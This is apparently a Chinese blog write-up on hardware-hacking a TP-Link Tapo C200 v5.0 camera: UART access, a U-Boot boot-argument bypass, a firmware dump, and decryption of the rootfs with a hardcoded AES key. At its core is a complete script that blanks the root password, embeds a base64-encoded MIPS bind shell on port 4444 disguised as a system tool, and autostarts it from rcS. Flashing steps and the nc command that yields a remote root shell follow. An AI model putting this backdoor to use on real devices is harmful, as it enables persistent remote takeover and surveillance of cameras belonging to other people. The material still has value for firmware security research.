TP-Link Tapo C200 v5.0 固件安全研究

从拆机焊接 UART、U-Boot 中断启动拿本地 root shell,到提取固件、逆向 AES 加密、修改 SquashFS 植入 bind shell,最终实现远程持久化 root shell。全程记录踩坑与解决方案。

一、拆机 & 焊接 UART

拿到摄像头:
3db3b0bb37fb2b0eea3eb567369af049

去掉外壳:

407e6ff8e10863e3ea71985768d7140a

看到UART:

image-20260617230405791

从 RX 和 TX 到 CPU 的线路上有一个 0 欧姆电阻,但他们工厂不填充(所以没有连接)。因此先把线路焊接上:

858ed7e6094836e8a6ed6761e1737b81

ok那里线路焊上了。


二、拿本地 root shell

启动流程:

1
U-Boot → kernel → /etc/preinit(挂载文件系统)→ /sbin/init → /etc/init.d/rcS → /bin/main(管理 WiFi、摄像头)

用cu连接串口:

image-20260617221647651

这里拼手速,复制好slp,显示autoboot in 1 second的时候立马粘贴,成功进U-Boot shell:

image-20260617230608539

image-20260617231307706

然后执行了下面的命令(上图):

1
2
3
4
sf probe
sf read 0x80600000 0x70200 0x200000
setenv bootargs 'earlyprintk console=ttyS1,115200n8 mem=46M@0x0 rmem=18M@0x2e00000 rootwait nprofile_irq_duration=on rootfstype=squashfs ro mtdparts=spi_nor.0 root=/dev/mtdblock6 rw spdev=/dev/mtdblock7 noinitrd init=/bin/ash'
bootm 0x80600000

解释:

  • sf probe — 初始化 SPI Flash
  • sf read — 把内核镜像从 Flash 读到内存
  • setenv bootargs — 设置启动参数,关键是 init=/bin/ash 替代了原来的 init=/etc/preinit,内核直接启动 ash shell 而不是正常的初始化流程
  • bootm — 启动内核

内核启动后直接得到 # 提示符,就是 root shell,不需要密码。

f83db479954a67e0b486c987a72f0042

成功拿到本地 root shell!


三、为了本地永久 root shell 设置 saveenv 导致的严重后果

在第二步中,我们拿到了一个本地的root shell,但是我觉得每次重启都得跑一遍那些命令很麻烦,于是把启动参数环境变量用saveenv永久写入:

image-20260620232634043

没错,这样确实使得每次启动都能进本地root shell,方便调试,但是saveenv有个很严重的问题,会覆盖出厂的默认环境变量!!

这一步让我们卡了好久。

ai分析:

原因saveenv 覆盖了出厂 U-Boot 环境分区中的关键数据(可能包括 WiFi 校准信息或正确的默认 bootargs)。

正常情况下,开机之后,在wifi列表里就可以看到tapo-cam-6554

image-20260620233432146

但是执行saveenv这个之后,再启动就再也看不到了,wifi列表里没有。。


四、saveenv 的修复之临时方案

遇到第三步说的困难之后,尝试许久,只能把报错日志发给ai,ai表示启动参数应该设置为:

1
2
setenv bootargs 'console=ttyS1,115200n8 mem=41M@0x0 rmem=23M@0x2900000 noinitrd init=/etc/preinit rootfstype=squashfs root=/dev/mtdblock6 rw spdev=/dev/mtdblock7'
printenv bootargs

这是一个让 main 正常启动 + WiFi 工作的 bootargs

进uboot执行后开机,实测成功了(加上后面留后门的步骤),但是这不还是有个问题,每次启动都得进uboot。。

这个方案虽然能用,但不满足”远程持久化”的目标,每次断电重启都需要物理连接 UART 进 U-Boot 手动输入命令。要彻底解决,必须修改固件本身,让系统在不依赖特定 bootargs 的情况下也能正确挂载 sp_rom 并启动 WiFi。

怎么做会在 “六、[7/8] 修改 preinit — spdev fallback“ 处理。


五、提取固件

先把固件 dump 出来,准备好 SD 卡,插上,进 U-Boot:

6843611644741083f03b35add7e751d1

执行了:

1
2
3
sf probe
sf read 0x80600000 0 0x800000
mmc write 0x80600000 0 0x4000

这里有个小坑,mmc write最后得写0x4000,因为直接写16384也会被当成16进制(就像图片中一样count 91012

然后sd卡接上电脑,在mac上把它读取出来:

b05413ef7bf5b88d8fd2a5051b8e9bd0

6daad0333294ff1242a6416f4bab8e9c

得到dump.bin

踩过的坑:

一开始在Linux shell 中 dump,但是这个 shell 是个极简环境,没有正常的文件系统挂载,很多东西不能用。

(尝试了挂载等等去弄,但是最后卡在了WIFI AP模块加载不了,失败了所以没有截图)

选择在 U-Boot 中 dump 固件而非在 Linux shell 中 dump,原因如下:

Linux (ash) 中 dump U-Boot 中 dump
命令 dd if=/dev/mtdblock6 of=rootfs.bin sf read 0x80600000 0 0x800000
rootfs 头 512 字节 已解密(SoC 硬件自动解密) 加密原文
需要先有 shell 是(需要先 init=/bin/ash) 否(U-Boot 随时可用)
可 dump 全部分区
mshell.sh 兼容 否(需跳过解密步骤) 是(脚本按加密数据设计)

ai解释:

Ingenic T23 的 SPI 控制器有硬件透明解密功能。Linux 内核的 MTD 驱动启用了此功能,
所以通过 /dev/mtdblock6 读到的数据是已解密的明文。
而 U-Boot 的 sf read 直接读原始 Flash,不经过硬件解密,拿到的是加密数据。

mshell.sh 的输入是 U-Boot dump(加密头),脚本内部处理解密和重新加密。
如果用 Linux dump(明文头),需要跳过解密步骤,但写回时仍需加密——不如直接用 U-Boot dump 简单统一。经验+1

补充一下在 Linux shell 里 dump 的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 挂载基础文件系统(init=/bin/ash 启动后这些都没有)
mount -t proc proc /proc # 挂载 /proc,后续命令需要读取系统信息
mount -t sysfs sysfs /sys # 挂载 /sys,设备驱动需要
mount -t tmpfs tmpfs /dev # 挂载 /dev,用于创建设备节点
mdev -s # 自动扫描并创建 /dev 下的设备节点

# 挂载 sp_rom 以获取 SD 卡驱动模块
mkdir -p /sp_rom
mount -t squashfs /dev/mtdblock7 /sp_rom # sp_rom 里存放着内核模块

# 加载 SD 卡驱动(内核没有内置,需要手动 insmod)
insmod /sp_rom/lib/modules/3.10.14/mmc_core.ko # MMC 核心模块
insmod /sp_rom/lib/modules/3.10.14/mmc_block.ko # MMC 块设备模块
insmod /sp_rom/lib/modules/3.10.14/jzmmc_v12.ko # 君正 T23 的 MMC 控制器驱动

# 创建 SD 卡设备节点并挂载
mknod /dev/mmcblk0 b 179 0 # SD 卡整盘设备
mknod /dev/mmcblk0p1 b 179 1 # SD 卡第一个分区
mount -t tmpfs tmpfs /tmp
mkdir -p /tmp/sd
mount -t vfat /dev/mmcblk0p1 /tmp/sd # 挂载 SD 卡到 /tmp/sd

# dump 整个 Flash 到 SD 卡
cat /dev/mtdblock11 > /tmp/sd/live_dump.bin # mtdblock11 是整个 Flash 的虚拟设备
sync # 确保数据写入 SD 卡

可见十分麻烦,但是live_dump.bin也能成功拿到。后续处理加密和保证WIFI AP模块加载,这俩stuck里很久,便还是采取在 U-Boot 中 dump 固件。


六、修改固件

这一步参考了这篇文章:https://quentinkaiser.be/security/2025/07/25/rooting-tapo-c200/

我们需要在 rootfs 中改 4 个东西,每个都有明确原因:

改什么 为什么改这个 为什么不改别的
/etc/passwd 清除密码 允许无密码 root 登录
/usr/sbin/bindshell 植入后门 348 字节的 bind shell,监听 4444 端口 不用 busybox(1.6MB 太大,超出分区限制)
/etc/init.d/rcS 加自启动 rcS 是启动脚本入口,最简单的自启动位置 不改 S20main 等脚本,避免影响 main 的正常启动
/etc/preinit 加 spdev fallback preinit 是唯一解析 spdev 参数的地方 不改 /bin/main(二进制文件,patch 风险高且不必要)

然后再由 ai 优化一下:


mshell.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/bin/bash
# C200 v5.0 rootfs modification script
# Usage: ./mshell.sh dump.bin
set -e

if [ -z "$1" ]; then
echo "Usage: $0 <dump.bin>"
exit 1
fi

BLOCK_SIZE=512
ROOTFS_START=0x1b0000
ROOTFS_END=0x3d0000
ROOTFS_SIZE=$(( ROOTFS_END - ROOTFS_START ))
AES_KEY=54505f4c494e4b383869363637676e74
AES_IV=55aadeadc0de4c494e5558457854aa55

REPACKED="${1}.repacked"
SQUASHFS="${1}.root.squashfs"
MOD_SQUASHFS="${1}.root.squashfs.mod"

# bindshell (MIPS LE, port 4444, 348 bytes)
BINDSHELL_B64="f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAVABAADQAAAAAAAAAABAAADQAIAABAAAAAAAAAAEAAAAAAAAAAABAAAAAQABcAQAAXAEBAAcAAAAAAAEAwP+9J2luCDwvYgg1IACor2gACDwvcwg1JACorwIACDQAAKivBACorwgAoK8GEAI0AQAENCUooAMMAAAAJYBAABQAoK8YAKCvHACgrxFcCDwCAAg1EACorwAAsK8QAKgnBACorxAACDQIAKivBhACNAIABDQlKKADDAAAAAAAsK8BAAg0BACorwYQAjQEAAQ0JSigAwwAAAAAALCvBACgrwgAoK8GEAI0BQAENCUooAMMAAAAJYhAAN8PAjQlICACAAAFNAwAAADfDwI0JSAgAgEABTQMAAAA3w8CNCUgIAICAAU0DAAAACAAqCcoAKivLACgr6sPAjQgAKQnKAClJwAABjQMAAAA"

echo "[1/8] Decrypting rootfs header"
dd if="$1" bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=1 status=none | \
openssl enc -aes-128-cfb1 -d -nosalt -nopad -K $AES_KEY -iv $AES_IV > "${1}.head"

echo "[2/8] Extracting rootfs"
cp "$1" "$REPACKED"
dd if="${1}.head" of="$REPACKED" bs=$BLOCK_SIZE seek=$((ROOTFS_START / BLOCK_SIZE)) conv=notrunc status=none
dd if="$REPACKED" of="$SQUASHFS" bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE)) status=none

echo "[3/8] Unpacking SquashFS"
rm -rf squashfs-root
unsquashfs -quiet "$SQUASHFS"

echo "[4/8] Clearing root password"
sed -i '' 's|^root:[^:]*:|root::|' squashfs-root/etc/passwd

echo "[5/8] Installing bindshell"
echo "$BINDSHELL_B64" | base64 -d > squashfs-root/usr/sbin/bindshell
chmod 755 squashfs-root/usr/sbin/bindshell

echo "[6/8] Patching rcS (bindshell autostart)"
cat >> squashfs-root/etc/init.d/rcS << 'RCSEOF'
cp /usr/sbin/bindshell /tmp/bindshell
chmod 777 /tmp/bindshell
/tmp/bindshell&
RCSEOF

echo "[7/8] Patching preinit (spdev fallback)"
python3 << 'PYEOF'
with open('squashfs-root/etc/preinit', 'r') as f:
lines = f.readlines()
out = []
for line in lines:
out.append(line)
if 'spdev=$(awk' in line:
out.append(' [ "$spdev" = "" ] && spdev="/dev/mtdblock7"\n')
with open('squashfs-root/etc/preinit', 'w') as f:
f.writelines(out)
PYEOF

echo "[8/8] Rebuilding rootfs"
rm -f "$MOD_SQUASHFS"
mksquashfs squashfs-root "$MOD_SQUASHFS" -quiet -comp xz

MOD_SIZE=$(stat -f%z "$MOD_SQUASHFS")
if [ "$MOD_SIZE" -gt "$ROOTFS_SIZE" ]; then
echo "[-] ERROR: SquashFS too large ($MOD_SIZE > $ROOTFS_SIZE)"
exit 1
fi
echo " SquashFS size: $MOD_SIZE / $ROOTFS_SIZE bytes"

dd if=/dev/zero bs=$BLOCK_SIZE seek=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE)) of="$REPACKED" conv=notrunc status=none
dd if="$MOD_SQUASHFS" bs=$BLOCK_SIZE count=1 status=none | \
openssl enc -aes-128-cfb1 -e -nosalt -nopad -K $AES_KEY -iv $AES_IV | \
dd of="$REPACKED" bs=$BLOCK_SIZE seek=$((ROOTFS_START / BLOCK_SIZE)) conv=notrunc status=none
dd if="$MOD_SQUASHFS" bs=$BLOCK_SIZE skip=1 seek=$(((ROOTFS_START + BLOCK_SIZE) / BLOCK_SIZE)) of="$REPACKED" conv=notrunc status=none

dd if="$REPACKED" of="${1}.rootfs_only.bin" bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE)) status=none

rm -f "$SQUASHFS" "$MOD_SQUASHFS" "${1}.head"

echo ""
echo "[+] Done!"
echo "[+] Full image: $REPACKED"
echo "[+] Rootfs only: ${1}.rootfs_only.bin"
echo ""
echo "=== U-Boot flash commands ==="
echo "# Load rootfs_only.bin to RAM (e.g. from SD card):"
echo "fatload mmc 0 0x80600000 rootfs_only.bin"
echo "# Flash:"
echo "sf probe"
echo "sf erase 0x1B0000 0x220000"
echo "sf write 0x80600000 0x1B0000 0x220000"

自动化 rootfs 修改脚本。输入 8MB 原始 Flash 镜像,输出可直接刷入的修改版 rootfs。

初始化与参数定义(第 1-23 行)

1
2
#!/bin/bash
set -e # 任何命令失败立即退出,防止在错误状态下继续修改
1
2
3
4
5
6
BLOCK_SIZE=512                          # dd 操作的块大小,也是 AES 加密的单位
ROOTFS_START=0x1b0000 # rootfs 在 Flash 中的起始偏移(来自 /proc/mtd)
ROOTFS_END=0x3d0000 # rootfs 结束偏移
ROOTFS_SIZE=$(( ROOTFS_END - ROOTFS_START )) # = 0x220000 = 2,228,224 字节
AES_KEY=54505f4c494e4b383869363637676e74 # "TP_LINK88i667gnt" 的十六进制
AES_IV=55aadeadc0de4c494e5558457854aa55 # 初始化向量
1
2
BINDSHELL_B64="f0VMRgEBAQ..."    # gen_bindshell.py 生成的 MIPS LE bind shell ELF
# base64 编码后内嵌在脚本中,不再依赖 msfvenom

[1/8] 解密 rootfs 头部(第 25-27 行)

1
2
dd if="$1" bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=1 status=none | \
openssl enc -aes-128-cfb1 -d -nosalt -nopad -K $AES_KEY -iv $AES_IV > "${1}.head"

Flash 中 rootfs 的布局:

1
2
3
4
5
6
0x1B0000 ┌──────────────────┐
│ 加密的 512 字节 │ ← AES-128-CFB1 加密(SquashFS 头部)
0x1B0200 ├──────────────────┤
│ 明文 SquashFS │ ← 剩余部分未加密
│ ... │
0x3D0000 └──────────────────┘
  • dd skip=$((0x1B0000/512)) = 跳过 Flash 前面的分区,定位到 rootfs 起始位置
  • count=1 = 只读 1 个 block(512 字节),就是加密的头部
  • 通过管道送给 openssl 解密
  • -aes-128-cfb1 = CFB1 模式(逐 bit 反馈,极其少见)
  • -nosalt -nopad = 无盐值、无填充(原始加密,512 字节进 512 字节出)
  • 解密结果保存为 dump.bin.head

[2/8] 提取 rootfs(第 29-32 行)

1
2
3
4
5
6
cp "$1" "$REPACKED"                    # 复制整个 8MB dump 作为工作副本
dd if="${1}.head" of="$REPACKED" \ # 把解密后的头部写回工作副本的对应位置
bs=$BLOCK_SIZE seek=$((ROOTFS_START / BLOCK_SIZE)) conv=notrunc

dd if="$REPACKED" of="$SQUASHFS" \ # 从工作副本中切出 rootfs 区域
bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE))

经过这步,$SQUASHFS 是一个完整的、已解密的 SquashFS 镜像,可以直接 unsquashfs。

流程图:

1
dump.bin (加密头) → 复制 → repacked (解密头写入) → 切出 rootfs → squashfs (明文)

[3/8] 解包 SquashFS(第 34-36 行)

1
2
rm -rf squashfs-root                   # 清除上次残留
unsquashfs -quiet "$SQUASHFS" # 解包到 squashfs-root/ 目录

解包后得到完整的文件系统目录树,可以像普通文件一样修改。

[4/8] 清除 root 密码(第 38-39 行)

1
sed -i '' 's|^root:[^:]*:|root::|' squashfs-root/etc/passwd
  • ^root: = 匹配以 root: 开头的行
  • [^:]*: = 匹配密码哈希字段(第二个冒号之前的内容)
  • 替换为 root:: = 密码字段留空,表示无密码
  • -i '' = macOS sed 的原地编辑语法(Linux 用 -i,无 ''

修改前:root:$1$xxxx$hash:0:0:root:/root:/bin/ash
修改后:root::0:0:root:/root:/bin/ash

[5/8] 安装 bindshell(第 41-43 行)

1
2
echo "$BINDSHELL_B64" | base64 -d > squashfs-root/usr/sbin/bindshell
chmod 755 squashfs-root/usr/sbin/bindshell
  • 将内嵌的 base64 字符串解码为 348 字节的 MIPS LE ELF 二进制
  • 放到 /usr/sbin/bindshell,看起来像一个正常的系统工具
  • chmod 755 设置可执行权限(在 mksquashfs 重建时会保留此权限)

这个 bindshell 的功能:

1
2
3
4
5
6
socket(AF_INET, SOCK_STREAM, 0)     → 创建 TCP socket
bind(0.0.0.0:4444) → 绑定到所有接口的 4444 端口
listen() → 开始监听
accept() → 等待连接
dup2(fd, 0/1/2) → 将 stdin/stdout/stderr 重定向到连接
execve("/bin/sh") → 启动 shell

[6/8] 修改 rcS — bindshell 自启动(第 45-50 行)

1
2
3
4
5
cat >> squashfs-root/etc/init.d/rcS << 'RCSEOF'
cp /usr/sbin/bindshell /tmp/bindshell
chmod 777 /tmp/bindshell
/tmp/bindshell&
RCSEOF

在 rcS 末尾追加三行。为什么不直接执行 /usr/sbin/bindshell

  • SquashFS 是只读文件系统,即使文件有 +x 权限,某些情况下内核可能阻止直接执行
  • 保险方案:先 cp/tmp(tmpfs,内存文件系统,可读写)
  • chmod 777 确保一定有执行权限
  • & 后台运行,不阻塞后续启动脚本(S05boot → S15monitor → S20main)

执行顺序:

1
2
3
/sbin/init → rcS → run_scripts (后台) → cp bindshell → chmod → bindshell (后台)

S05boot → S15monitor → S20main → /bin/main → WiFi AP 启动

bindshell 和 main 并行运行,互不干扰。

[7/8] 修改 preinit — spdev fallback(第 52-63 行)

1
2
3
4
5
6
7
8
9
10
11
python3 << 'PYEOF'
with open('squashfs-root/etc/preinit', 'r') as f:
lines = f.readlines()
out = []
for line in lines:
out.append(line)
if 'spdev=$(awk' in line: # 找到解析 spdev 的那行
out.append(' [ "$spdev" = "" ] && spdev="/dev/mtdblock7"\n') # 在它后面插入 fallback
with open('squashfs-root/etc/preinit', 'w') as f:
f.writelines(out)
PYEOF

用 Python 而不是 sed,因为 macOS sed 处理多行替换语法复杂且容易出错。

修改效果:

1
2
3
4
5
6
7
8
# 原始 preinit 中的 mount_sp_rom():
mount_sp_rom() {
spdev=$(awk 'BEGIN{RS=" ";FS="="} $1=="spdev"{print $2}' < /proc/cmdline)
[ "$spdev" = "" ] && spdev="/dev/mtdblock7" # ← 新增:没有 spdev 参数就用默认值
if [ "$spdev" != "" ]; then
mount -t squashfs -o relatime $spdev /sp_rom
fi
}

为什么这一行就够了:

  1. bootargs 有 spdev=/dev/mtdblock7 → awk 解析到 → 用 bootargs 的值
  2. bootargs 没有 spdev → awk 解析为空 → fallback 设为 /dev/mtdblock7
  3. 两种情况下 $spdev 都非空 → if [ "$spdev" != "" ] 一定为真 → sp_rom 一定被挂载

[8/8] 重建 rootfs(第 65-83 行)

重建 SquashFS:

1
mksquashfs squashfs-root "$MOD_SQUASHFS" -quiet -comp xz
  • -comp xz = 使用 XZ 压缩(与原厂一致,压缩率最高)
  • 输出文件必须 ≤ 2,228,224 字节(rootfs 分区大小),否则会溢出到 sp_rom 分区

安全检查:

1
2
3
4
5
MOD_SIZE=$(stat -f%z "$MOD_SQUASHFS")
if [ "$MOD_SIZE" -gt "$ROOTFS_SIZE" ]; then
echo "[-] ERROR: SquashFS too large"
exit 1
fi

写回 repacked 镜像(三步):

1
2
3
4
5
6
7
8
9
10
# 步骤 A:将 repacked 中 rootfs 区域全部清零
dd if=/dev/zero ... seek=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE)) of="$REPACKED"

# 步骤 B:取修改后 SquashFS 的前 512 字节,AES 加密后写入 repacked
dd if="$MOD_SQUASHFS" bs=$BLOCK_SIZE count=1 | \
openssl enc -aes-128-cfb1 -e ... | \
dd of="$REPACKED" bs=$BLOCK_SIZE seek=$((ROOTFS_START / BLOCK_SIZE))

# 步骤 C:剩余部分(第 513 字节起)直接写入,不加密
dd if="$MOD_SQUASHFS" bs=$BLOCK_SIZE skip=1 seek=$(((ROOTFS_START + BLOCK_SIZE) / BLOCK_SIZE)) of="$REPACKED"

为什么分三步:

1
2
3
4
修改后的 SquashFS:  [明文头 512B] [明文body...]
↓ 加密 ↓ 不加密
写入 repacked: [密文头 512B] [明文body...]
↑ 步骤 B ↑ 步骤 C

Flash 上只有前 512 字节是加密的,必须分开处理。

提取 rootfs_only:

1
2
dd if="$REPACKED" of="${1}.rootfs_only.bin" \
bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE))

从 8MB repacked 镜像中只切出 rootfs 部分(2.2MB),传输更快,U-Boot 刷入时直接加载到 0x80600000 写入 0x1B0000 即可。


写入 SD 卡

86faf84cbfba83c114f0c0b9f985044d

拿到dump.bin.rootfs_only.bin

202ba5cbfa2eddc03660f60a948bd418


七、给摄像头刷入有后门的固件

0824c37dd51fe231146138adcb517946

执行了:

1
2
3
4
5
mmc read 0x80600000 0 0x1100   
sf probe
sf erase 0x1B0000 0x220000
sf write 0x80600000 0x1B0000 0x220000
reset

解释:

  • mmc read 0x80600000 0 0x1100 — 从 SD 卡读取修改后的 rootfs 到内存(0x1100 = 4352 块 = 2.2MB)
  • sf probe — 初始化 SPI Flash
  • sf erase 0x1B0000 0x220000 — 擦除原 rootfs 分区
  • sf write 0x80600000 0x1B0000 0x220000 — 将修改后的 rootfs 写入 Flash
  • reset — 重启

wifi里连上tapo-cam-6554

nc连接:

af0e8fde87947df9ed60949bc5958a63

成功拿到远程 root shell!!


八、总结攻击成果

从拆机到实现远程持久化 root shell。最终效果:摄像头通电即自动启动 WiFi AP 和 bind shell,
攻击者无需物理接触,连接 WiFi 后 nc 192.168.191.1 4444 即获得 root 权限。

操作流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌─────────────────────────────────────────────────┐
│ 第一步:U-Boot dump Flash │
│ sf probe │
│ sf read 0x80600000 0 0x800000 │
│ mmc write 0x80600000 0 0x4000 │
├─────────────────────────────────────────────────┤
│ 第二步:SD 卡转到 Mac,读取 dump │
│ sudo dd if=/dev/rdiskN of=dump.bin bs=512 \ │
│ count=16384 │
├─────────────────────────────────────────────────┤
│ 第三步:运行 mshell.sh │
│ ./mshell.sh dump.bin │
├─────────────────────────────────────────────────┤
│ 第四步:写回 SD 卡 │
│ sudo dd if=dump.bin.rootfs_only.bin \ │
│ of=/dev/rdiskN bs=512 │
│ diskutil eject /dev/diskN │
├─────────────────────────────────────────────────┤
│ 第五步:U-Boot 刷入 │
│ mmc read 0x80600000 0 0x1100 │
│ sf probe │
│ sf erase 0x1B0000 0x220000 │
│ sf write 0x80600000 0x1B0000 0x220000 │
│ reset │
├─────────────────────────────────────────────────┤
│ 第六步:连接 WiFi + 获取 shell │
│ Mac 连接 Tapo_Cam_XXXX WiFi │
│ nc 192.168.191.1 4444 │
│ → root shell │
└─────────────────────────────────────────────────┘

九、其它踩坑全记录

9.1 JFFS2 放不下 busybox

问题:最初计划把 busybox-mipsel(1.6MB)放到 JFFS2 分区(user_record, 512KB)运行 telnetd。
报错cp: write error: No space left on device
解决:用纯 Python 写的 MIPS LE ELF 生成器生成了 348 字节的 bindshell 二进制,然后 base64 编码后硬编码进 mshell.sh。


9.2 rootfs 放不下 busybox + 原文件

问题:把 busybox 加到 rootfs 后,SquashFS 重建后超过 2.2MB 分区限制。
解决:同上,使用极小的 bindshell 代替 busybox。


9.3 bindshell 无可执行权限

问题:msfvenom 生成的 ELF 放入 SquashFS 后丢失 +x 权限,无法直接执行。

具体表现,nc连上之后无反应排查发现,用ls -l看到只读权限。

报错/usr/sbin/bindshell: Permission denied
解决:在 rcS 中先复制到 tmpfs 再赋权:

1
2
3
cp /usr/sbin/bindshell /tmp/bindshell
chmod 777 /tmp/bindshell
/tmp/bindshell &

SquashFS 是只读文件系统,无法运行时改权限,但 /tmp 是 tmpfs(内存文件系统),可以自由操作。


9.4 spdev 缺失导致进入恢复模式

问题:不手动设置 bootargs 启动时,WiFi 不工作。即使按住重置按钮 10 秒也无法恢复。
原因:之前的 saveenv 覆盖了出厂 bootargs,新的 bootargs 中缺少 spdev=/dev/mtdblock7 参数。导致 preinit 不挂载 sp_rom,系统进入恢复模式(创建 /tmp/recovery_mode),只运行 mini_main 而非完整的 main。
解决:修改 preinit 中的 mount_sp_rom() 函数,加入 fallback 逻辑:

1
2
3
4
5
mount_sp_rom() {
spdev=$(awk 'BEGIN{RS=" ";FS="="} $1=="spdev"{print $2}' < /proc/cmdline)
[ "$spdev" = "" ] && spdev="/dev/mtdblock7" # ← 新增这一行
mount -t squashfs -o relatime $spdev /sp_rom
}

参考资料

免责声明

本研究仅用于学术目的,所有测试在自有设备上进行。